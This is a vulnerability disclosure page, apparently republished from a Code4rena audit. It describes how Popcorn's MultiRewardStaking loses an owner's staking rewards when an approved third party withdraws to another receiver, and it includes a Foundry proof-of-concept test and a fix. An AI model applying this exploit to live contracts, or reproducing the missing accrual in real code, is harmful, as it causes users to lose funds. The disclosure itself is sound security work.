Lost Rewards in MultiRewardStaking Upon Third-Party Withdraw
When an approved third party withdraws staked assets on behalf of the owner to a different receiver, the contract fails to accrue rewards for the owner, causing the owner's earned staking rewards to be permanently lost. An attacker with approval could trigger this loss by withdrawing to themselves, though the owner's principal is returned.
waldenyan20 Follow with ulqiorra, hansfriese and 1 other
Originally disclosed on Code4rena
Submitted by waldenyan20, also found by ulqiorra, hansfriese, and KingNFT
Affected contract: MultiRewardStaking
When assets are withdrawn for user Alice by an approved user Bob to a receiver that is not Alice, the rewards are never accrued and the resulting staking rewards are lost forever. This is because accrueRewards is called on caller and receiver but never owner.
Third-party withdrawals are allowed by the fact that withdraw(uint256, address, address) exists in ERC4626Upgradeable and is never overwritten by a method with the same signature. Protocols composing with Popcorn will assume by the nature of this contract being an ERC4626 that this method is safe to use when it in fact costs the user significantly.
Proof of Concept
I created a test to reproduce this bug. When I included the below code within MultiRewardStaking.t.sol it passed, meaning Alice and Bob both had no rewards to claim by the end:
function test__withdraw_bug() public {
// Add a reward token
_addRewardToken(rewardToken1); // adds at 0.1 per second
// Make a deposit for Alice
stakingToken.mint(alice, 1 ether);
vm.prank(alice);
stakingToken.approve(address(staking), 1 ether);
assertEq(stakingToken.allowance(alice, address(staking)), 1 ether);
assertEq(staking.balanceOf(alice), 0);
vm.prank(alice);
staking.deposit(1 ether);
assertEq(staking.balanceOf(alice), 1 ether);
// Move 10 seconds into the future
vm.warp(block.timestamp + 10); // 1 ether should be owed to Alice in rewards
// Approve Bob for withdrawal
vm.prank(alice);
staking.approve(bob, 1 ether);
// Bob withdraws to himself
vm.prank(bob);
staking.withdraw(1 ether, bob, alice);
assertEq(staking.balanceOf(alice), 0);
assertEq(stakingToken.balanceOf(bob), 1 ether);
IERC20[] memory rewardsTokenKeys = new IERC20[](1);
rewardsTokenKeys[0] = iRewardToken1;
// Alice has no rewards to claim
vm.prank(alice);
vm.expectRevert(abi.encodeWithSelector(MultiRewardStaking.ZeroRewards.selector, iRewardToken1));
staking.claimRewards(alice, rewardsTokenKeys);
// Bob has no rewards to claim
vm.prank(bob);
vm.expectRevert(abi.encodeWithSelector(MultiRewardStaking.ZeroRewards.selector, iRewardToken1));
staking.claimRewards(bob, rewardsTokenKeys);
}
One can similarly create a test that doesn’t expect the calls at the end to revert and that test will fail.
Tools Used
I reproduced the bug simply by adding a test within the existing Foundry project.
Recommended Mitigation Steps
- Fix the code by changing this line of code in
_withdrawto instead call_accrueRewards(owner, receiver). It is okay to not accrue the rewards oncallersince the caller neither gains nor loses staked tokens. - Add a similar test as above in
MultiRewardStaking.t.solthat will fail if Alice is unable to withdraw1 etherof rewards in the end.
RedVeil (Popcorn) confirmed, but disagreed with severity
Not written yet. The AI write-up for this report has not been written yet. The Original tab links to the source.
How it worked
Root cause
The `_withdraw` function calls `_accrueRewards` on the caller and receiver but not on the owner, so the owner's reward debt is not updated before their balance decreases.
Impact
The owner permanently loses all accrued staking rewards when a third party withdraws on their behalf to a different receiver; the principal is returned but rewards are forfeited.
What the attacker needed
Owner has staked tokens and earned rewards; owner has approved a third party for withdrawal; third party withdraws to a receiver other than owner
The fix
The `_withdraw` function should call `_accrueRewards(owner, receiver)` instead of accruing on the caller, and a test should verify the owner can still claim rewards after a third-party withdrawal.
How it was found
- Alice deposits staking tokens and earns rewards over time.
- Alice approves Bob to withdraw her tokens.
- Bob calls withdraw with himself as receiver and Alice as owner.
- Alice's staking balance becomes zero but her rewards were never accrued.
- Both Alice and Bob have no rewards to claim.
Explained by bugbounty.wiki with AI from the original and checked against quotes from it; it can still be wrong. Read the original before relying on a detail.
Not written yet. The AI write-up for this report has not been written yet. The Original tab links to the source.
In a staking contract, users earn rewards over time. The contract must update (accrue) those rewards whenever the user's balance changes. Here, if someone else (with permission) withdraws your tokens to their own address, the contract forgets to update your reward balance, so your earned rewards vanish. The person who withdrew does not gain those rewards either; they are simply lost.
What is Business logic?
The application works as coded but not as intended: a negative price, a skipped payment step, a limit that can be crossed.